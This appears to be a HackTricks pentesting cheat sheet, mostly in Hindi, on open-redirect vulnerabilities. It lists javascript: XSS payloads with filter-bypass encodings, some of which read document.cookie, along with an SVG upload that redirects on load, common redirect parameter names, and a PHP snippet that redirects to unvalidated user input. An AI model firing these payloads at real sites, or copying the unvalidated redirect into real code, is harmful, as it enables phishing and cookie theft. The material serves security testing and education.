hacktricks/pentesting-web/open-redirect.md

<details>

<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

दूसरे तरीके HackTricks का समर्थन करने के लिए:

* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।

</details>


# ओपन रीडायरेक्ट

## लोकलहोस्ट या विचित्र डोमेन पर रीडायरेक्ट

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}

## XSS के लिए ओपन रीडायरेक्ट
```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```
# ओपन रीडायरेक्ट svg फ़ाइलें अपलोड करना
```markup
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
```
# सामान्य इन्जेक्शन पैरामीटर
```
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
```
# कोड उदाहरण

### .Net
```bash
response.redirect("~/mysafe-subdomain/login.aspx")
```
### जावा
```bash
response.redirect("http://mysafedomain.com");
```
### PHP

#### Open Redirect Vulnerability

An open redirect vulnerability in a PHP application allows an attacker to redirect users to malicious websites. This can be exploited by crafting a malicious URL that redirects users to a phishing page or a malware-infected site.

##### Example

```php
<?php
$redirect_url = $_GET['url'];
header('Location: ' . $redirect_url);
?>
```

##### Prevention

To prevent open redirect vulnerabilities in PHP, always validate and sanitize user input, especially when dealing with URL parameters. Whitelist allowed domains and only redirect users to URLs within the whitelist.
```php
<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>
```
# उपकरण

* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)

# संसाधन

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) में आप फजिंग सूचियाँ पा सकते हैं।
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)


<details>

<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

HackTricks का समर्थन करने के अन्य तरीके:

* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।

</details>